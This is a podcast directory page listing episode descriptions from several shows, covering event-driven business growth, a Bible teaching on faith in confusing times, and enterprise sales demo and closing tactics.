Mapping the Cultural Landscape for 21st Century Christian Leaders. Everything Just Changed host, Bryce Hales, starts a new podcast: The Cartographers. The Cartographers charts a way forward for 21st century Christian leaders in a changing cultural landscape. Join Bryce Hales and Ashley Hales, pastor and PhD, as they talk with guests about charting a path through culture wars to create vibrant, resilient and fruitful Christian communities.  Listen on Apple podcasts, Spotify, or wherever you get your podcasts. The Cartographers is a production of The Willowbrae Institute. Find out more and sign up for our newsletter at our website. 

Making Sales Social Podcast
Linda Cain Scaling Your Business with Personalized Events and Upselling

Making Sales Social Podcast

Play Episode Listen Later Apr 18, 2023 21:43


Linda Cain joins us on this episode to discuss the benefits of using personalized events to scale your business faster. Tune in as she also shares effective upselling strategies that fit the audience you want to attract and earn their trust. As an industry coach who helps enhance your clients' life/careers/businesses, events can put you at the forefront of your community and build personal relationships with them, even with those who might not know about you. Linda Cain is the Founder & Owner of Blu Diamond Enterprises LLC. For over 25 years, Linda has had a diverse background in planning domestic and international events. She knows all the right people to connect with and is behind many transformational and coaching events in the industry. Mapping out your full event-driven business strategy is Linda's zone of genius to help her clients be more profitable. Listen in on this episode and learn new things from her about personalized events! Like how you should only offer free events for lead gen, whether seat deposits are effective, and much more! If you want to hear more from Linda, you can connect with her on LinkedIn and Instagram and visit her website at www.eventsbybludiamond.com. And to help you leverage personalized events, she has an Event Success Assessment questionnaire you can answer to help you

Living With Power
Unshaken faith when God's will becomes confusing [UNSHAKEN #14]

Living With Power

Play Episode Listen Later Apr 13, 2023 29:50


Today we're returning to a teaching series on unshaken faith where we look at stories of men and women in the Bible who in the midst of their trials learned to stand unshaken no matter what. (You can listen to previous episodes here). Have you ever felt God's will to be confusing in your life? How do you respond when you start out thinking God has called you to something and things don't end up turning out like you thought they would? Look with me today to David's story in 1 Samuel 22 and see that although God's will might look confusing sometimes, He is constant, steady, in control and is simply using the pain and disappointment in our life to propel us to the next chapter in our story. ABOUT: Lina AbuJamra founded Living with Power Ministries and is a popular Bible teacher, podcaster, and conference speaker. She's also the host of a radio show and the author of several books, including Fractured Faith and the forthcoming Bible Study series, Mapping the Footsteps of God. Lina is a pediatric ER doctor who practices telemedicine and in her “spare” time, she provides medical care and humanitarian help to Syrian refugees and others in disaster areas. Learn more about her at LivingWithPower.org. Follow on Insta: linaabujamra Follow on facebook: Lina Abujamra Follow on Twitter: @LinaAbujamra

30 Minutes to President's Club | No-Nonsense Sales
141: Mapping the path to close and navigating to your destination (Justin Solis, Enterprise Account Executive @ Pave)

30 Minutes to President's Club | No-Nonsense Sales

Play Episode Listen Later Apr 12, 2023 35:18


FOUR ACTIONABLE TAKEAWAYS Start your demos by setting the scene. Orient your buyer as to who they are in the demo and what they are doing in their day. If you get a mild “yes” at the end of the demo (e.g. “it could be interesting, I want to debrief internally”), use timeline and sales process steps to see if they're willing to work to take a step forward. When asking for power, make it us vs. them. Align the timeline to close with their best interest in mind, not yours (e.g. Get them excited about more time to implement means a much better customer experience for them). PATH TO PRESIDENT'S CLUB Enterprise Account Executive @ Pave Sales Trainer @ Flockjay Head of Revenue @ Whistle Enterprise Account Executive @ Chili Piper THE LATEST FROM 30MPC Catch the next 30MPC Live Steal the latest sales templates here THINGS YOU CAN STEAL Prospecting: Email Templates UserGems: Job Change Sequence Gong: Hyper-Persuasive Email Templates Lavender: Sales Email Frameworks Prospecting: Guides Woodpecker: Email Substance & Deliverability Guide Orum: 5 Cold Call Objection Talk Tracks Owler: 4 Multi-Channel Prospecting Touchpoints Discovery Wingman: In-App Objection Handling Battlecards Sales Process Outreach: Templates to Create Pipeline and Close Deals ZoomInfo: 5 Plays, 30MPC Style Accord: Mutual Action Plan Template Dooly: Pre-Meeting Prep Template Prolifiq: Multithreading Playbook ONE ASK You know we feel a bit awkward asking, but if you made it this far, it would mean the world if you gave us a 5-star review. It will increase your chances of making President's Club by 227%. Okay maybe not, but we'd still really love you for it :)